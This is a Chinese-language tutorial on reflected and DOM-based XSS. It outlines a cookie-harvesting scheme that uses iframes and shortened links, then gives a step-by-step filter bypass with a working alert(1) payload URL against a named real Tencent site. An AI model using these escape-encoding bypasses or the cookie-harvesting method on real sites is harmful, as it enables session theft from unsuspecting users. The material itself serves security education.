DOM XSS启程
之前提到的漏洞内容,都是反射型XSS,攻击性一般来说比较低,即用即消,难以持久,而且一般来说,如果cookie 设置成httponly,你就不能通过document.cookie 的方式获取cookie了,在做其他一些事情,反射型xss就显得乏力了。不过,如果没有设置成httponly,还是有方法获取到海量的用户cookie,简单的利用方法就是在一个自己可控的站点,控制一个iframe,然后链接到主站可xss利用的站点,在URL 里写好脚本,做好接受,就能源源不断的接受来自用户的信息了。
比如说新浪微博或者是腾讯微博存在XSS反射漏洞,我们在自己的站点中写好利用的iframe,然后在自己的微博上写一个吸引人的标题,然后附一个经过短链接转义过得链接。如果别人点进去,就会自动触发我们的XSS 脚本。以前Twitter 上也有这样的漏洞,短时间让黑客的粉丝暴涨百万,实际上只是自动执行了关注黑客的脚本。
下面我们进入下一个XSS类型,DOM XSS。所谓DOM 操作,就是利用JavaScript 的DOM 操作来进行利用。关于DOM树,DOM操作的基础,可以参见wikipedia ,可以查看更多信息。
DOM 常见的方法有:
- 获取节点
- getElementsById()
- getElementsByTagName()
- getElementsByClassName()
- 新增结点
- document.createElement() 创建节点对象,参数是字符串也就是html标签
- createTextNode 创建文本节点,配合上一个使用
- appendChild(element) 把新的结点添加到指定节点下,参数是一个节点对象
- insertChild() 在指定结点钱插入新的节点
- 修改节点
- replaceChild() 节点交换
- setAttribute() 设置属性
- 删除节点
- removeChild(element) 删除节点,要先获得父节点然后再删除子节点
- 一些属性
- innerHTML 节点内容,可以获取或者设置
- parentNode 当前节点的父节点
- childNode 子节点
- attributes 节点属性
- style 修改样式
下面我们回到XSS 上,如何利用一个显式的DOM XSS。
这样一个URL:
http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=aaaaaaa&attr=133&stype=2&tname=star_second.shtml
我们在代码中寻找其输出:
发现了很多个,将其代码格式化之后如下,我们会实际上,被执行的只有一个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <strong id="titleshow">按职业1检索:aaaaaaa </strong></div> <script> if("aaaaaaa"=="") document.getElementById("titleshow").innerHTML="按地区检索:全部明星"; if("职业1"=="职业1") document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa"; if("职业1"=="职业2") document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa"; if("职业1"=="职业3") document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa"; </script>
|
我们先测试几个特殊字符,发现尖括号被过滤了,但是\ 没有被过滤,而这里又是JS 代码,我们可以十三月Unicode 编码来代替尖括号,仍然可以实现代码利用。\u003c \003e 分别代表尖括号,\0020 代表空格。 而这里其实有一个比较关键的知识点,为什么有时候转义可以,有时候转义不行,编码解码的顺序到底是怎样的,具体可以看下一条文章。
所以,我们构造的完整URL 如下:
1
| http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e&attr=133&stype=2&tname=star_second.shtml
|
但是,左右尖括号的Unicode表示已经被过滤:
但仔细观察一下,我们发现,\u0020 都没有被转义,说明开发者的转义是非常局限的,指哪打哪,很有可能有别的方法可以利用。而Unicode 编码也有多种书写方式,比如 \x3c \x3e 就可以代表左右尖括号。那么我们值得一试:
1
| http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e&attr=133&stype=2&tname=star_second.shtml
|
令人惊奇的是竟然没有转义:
这样,弹窗就是必然的了。
这是一次简单的DOM XSS 过程,后边会有更加复杂的XSS等待挖掘。
script>